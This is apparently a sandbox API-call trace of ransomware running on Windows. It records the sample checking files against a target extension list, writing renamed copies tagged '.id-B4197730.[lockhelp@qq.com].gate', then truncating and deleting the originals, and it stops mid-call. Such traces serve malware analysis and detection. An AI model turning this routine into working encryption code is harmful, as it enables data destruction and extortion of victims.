[0276.032] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0276.032] lstrlenW (lpString=".dbf") returned 4 [0276.032] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.032] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0276.032] lstrlenW (lpString=".1cd") returned 4 [0276.032] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.032] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0276.032] lstrlenW (lpString=".jpg") returned 4 [0276.032] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.032] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.032] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47 [0276.032] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0276.034] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0276.034] CloseHandle (hObject=0x39c) returned 1 [0276.034] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0276.034] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.035] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0276.035] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.035] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.036] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0276.036] GetLastError () returned 0x0 [0276.036] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.153] WriteFile (in: hFile=0x3a8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.250] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0276.250] WriteFile (in: hFile=0x3a8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x132, lpOverlapped=0x0) returned 1 [0276.250] SetEndOfFile (hFile=0x3a8) returned 1 [0276.304] CloseHandle (hObject=0x3a8) returned 1 [0276.423] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.426] SetEndOfFile (hFile=0x3a4) returned 1 [0276.427] CloseHandle (hObject=0x3a4) returned 1 [0276.428] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.428] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1 [0276.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0276.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0276.428] lstrlenW (lpString=".doc") returned 4 [0276.428] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.428] lstrlenW (lpString=".docx") returned 5 [0276.428] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.428] lstrlenW (lpString=".pdf") returned 4 [0276.428] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.428] lstrlenW (lpString=".xls") returned 4 [0276.428] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.428] lstrlenW (lpString=".xlsx") returned 5 [0276.429] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.429] lstrlenW (lpString=".ppt") returned 4 [0276.429] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0276.429] lstrlenW (lpString=".zip") returned 4 [0276.429] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.429] lstrlenW (lpString=".rar") returned 4 [0276.429] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.429] lstrlenW (lpString=".bz2") returned 4 [0276.429] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.429] lstrlenW (lpString=".7z") returned 3 [0276.429] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0276.429] lstrlenW (lpString=".dbf") returned 4 [0276.429] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0276.429] lstrlenW (lpString=".1cd") returned 4 [0276.429] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0276.429] lstrlenW (lpString=".jpg") returned 4 [0276.429] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0276.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0276.429] lstrlenW (lpString=".doc") returned 4 [0276.429] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.429] lstrlenW (lpString=".docx") returned 5 [0276.429] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.429] lstrlenW (lpString=".pdf") returned 4 [0276.429] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.429] lstrlenW (lpString=".xls") returned 4 [0276.429] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.430] lstrlenW (lpString=".xlsx") returned 5 [0276.430] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.430] lstrlenW (lpString=".ppt") returned 4 [0276.430] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.430] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0276.430] lstrlenW (lpString=".zip") returned 4 [0276.430] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.430] lstrlenW (lpString=".rar") returned 4 [0276.430] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.430] lstrlenW (lpString=".bz2") returned 4 [0276.430] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.430] lstrlenW (lpString=".7z") returned 3 [0276.430] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.430] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0276.430] lstrlenW (lpString=".dbf") returned 4 [0276.430] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.430] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0276.430] lstrlenW (lpString=".1cd") returned 4 [0276.430] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.430] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0276.430] lstrlenW (lpString=".jpg") returned 4 [0276.430] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.430] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.430] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39 [0276.430] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0276.431] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0276.431] CloseHandle (hObject=0x3a4) returned 1 [0276.431] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0276.431] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.431] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0276.431] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.431] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.431] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0276.432] GetLastError () returned 0x0 [0276.432] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.503] WriteFile (in: hFile=0x3a0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.505] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0276.505] WriteFile (in: hFile=0x3a0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x122, lpOverlapped=0x0) returned 1 [0276.505] SetEndOfFile (hFile=0x3a0) returned 1 [0276.505] CloseHandle (hObject=0x3a0) returned 1 [0276.507] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.507] SetEndOfFile (hFile=0x3a4) returned 1 [0276.508] CloseHandle (hObject=0x3a4) returned 1 [0276.508] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.508] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1 [0276.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0276.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0276.509] lstrlenW (lpString=".doc") returned 4 [0276.509] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.509] lstrlenW (lpString=".docx") returned 5 [0276.509] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.509] lstrlenW (lpString=".pdf") returned 4 [0276.509] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.509] lstrlenW (lpString=".xls") returned 4 [0276.509] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.509] lstrlenW (lpString=".xlsx") returned 5 [0276.509] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.509] lstrlenW (lpString=".ppt") returned 4 [0276.509] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0276.509] lstrlenW (lpString=".zip") returned 4 [0276.509] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.509] lstrlenW (lpString=".rar") returned 4 [0276.509] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.509] lstrlenW (lpString=".bz2") returned 4 [0276.509] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.509] lstrlenW (lpString=".7z") returned 3 [0276.509] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0276.509] lstrlenW (lpString=".dbf") returned 4 [0276.509] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0276.509] lstrlenW (lpString=".1cd") returned 4 [0276.509] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.509] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0276.509] lstrlenW (lpString=".jpg") returned 4 [0276.509] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.510] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0276.510] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0276.510] lstrlenW (lpString=".doc") returned 4 [0276.510] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.510] lstrlenW (lpString=".docx") returned 5 [0276.510] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.510] lstrlenW (lpString=".pdf") returned 4 [0276.510] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.510] lstrlenW (lpString=".xls") returned 4 [0276.510] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.510] lstrlenW (lpString=".xlsx") returned 5 [0276.510] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.510] lstrlenW (lpString=".ppt") returned 4 [0276.510] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.510] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0276.510] lstrlenW (lpString=".zip") returned 4 [0276.510] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.510] lstrlenW (lpString=".rar") returned 4 [0276.510] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.510] lstrlenW (lpString=".bz2") returned 4 [0276.510] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.510] lstrlenW (lpString=".7z") returned 3 [0276.510] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.510] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0276.510] lstrlenW (lpString=".dbf") returned 4 [0276.510] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.510] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0276.511] lstrlenW (lpString=".1cd") returned 4 [0276.511] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0276.511] lstrlenW (lpString=".jpg") returned 4 [0276.511] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.511] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.511] lstrlenW (lpString="Microsoft-Windows-Ntfs%4Operational.evtx") returned 40 [0276.511] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0276.513] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0276.513] CloseHandle (hObject=0x3a4) returned 1 [0276.513] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0276.513] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.513] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0276.513] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.513] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.513] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0276.513] GetLastError () returned 0x0 [0276.513] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.606] WriteFile (in: hFile=0x3a0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.608] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0276.608] WriteFile (in: hFile=0x3a0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x124, lpOverlapped=0x0) returned 1 [0276.608] SetEndOfFile (hFile=0x3a0) returned 1 [0276.608] CloseHandle (hObject=0x3a0) returned 1 [0276.611] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.611] SetEndOfFile (hFile=0x3a4) returned 1 [0276.612] CloseHandle (hObject=0x3a4) returned 1 [0276.612] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.612] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1 [0276.613] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0276.613] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0276.613] lstrlenW (lpString=".doc") returned 4 [0276.613] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.613] lstrlenW (lpString=".docx") returned 5 [0276.613] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.613] lstrlenW (lpString=".pdf") returned 4 [0276.613] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.613] lstrlenW (lpString=".xls") returned 4 [0276.613] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.613] lstrlenW (lpString=".xlsx") returned 5 [0276.613] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.613] lstrlenW (lpString=".ppt") returned 4 [0276.613] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.613] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0276.613] lstrlenW (lpString=".zip") returned 4 [0276.613] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.613] lstrlenW (lpString=".rar") returned 4 [0276.613] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.613] lstrlenW (lpString=".bz2") returned 4 [0276.613] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.613] lstrlenW (lpString=".7z") returned 3 [0276.613] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.613] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0276.613] lstrlenW (lpString=".dbf") returned 4 [0276.613] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.613] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0276.613] lstrlenW (lpString=".1cd") returned 4 [0276.613] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.613] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0276.613] lstrlenW (lpString=".jpg") returned 4 [0276.613] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0276.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0276.614] lstrlenW (lpString=".doc") returned 4 [0276.614] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.614] lstrlenW (lpString=".docx") returned 5 [0276.614] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.614] lstrlenW (lpString=".pdf") returned 4 [0276.614] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.614] lstrlenW (lpString=".xls") returned 4 [0276.614] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.614] lstrlenW (lpString=".xlsx") returned 5 [0276.614] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.614] lstrlenW (lpString=".ppt") returned 4 [0276.614] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0276.614] lstrlenW (lpString=".zip") returned 4 [0276.614] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.614] lstrlenW (lpString=".rar") returned 4 [0276.614] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.614] lstrlenW (lpString=".bz2") returned 4 [0276.614] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.614] lstrlenW (lpString=".7z") returned 3 [0276.614] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0276.614] lstrlenW (lpString=".dbf") returned 4 [0276.614] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.614] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0276.614] lstrlenW (lpString=".1cd") returned 4 [0276.614] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0276.615] lstrlenW (lpString=".jpg") returned 4 [0276.615] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.615] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.615] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64 [0276.615] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0276.615] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0276.615] CloseHandle (hObject=0x3a4) returned 1 [0276.615] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0276.615] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.615] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: 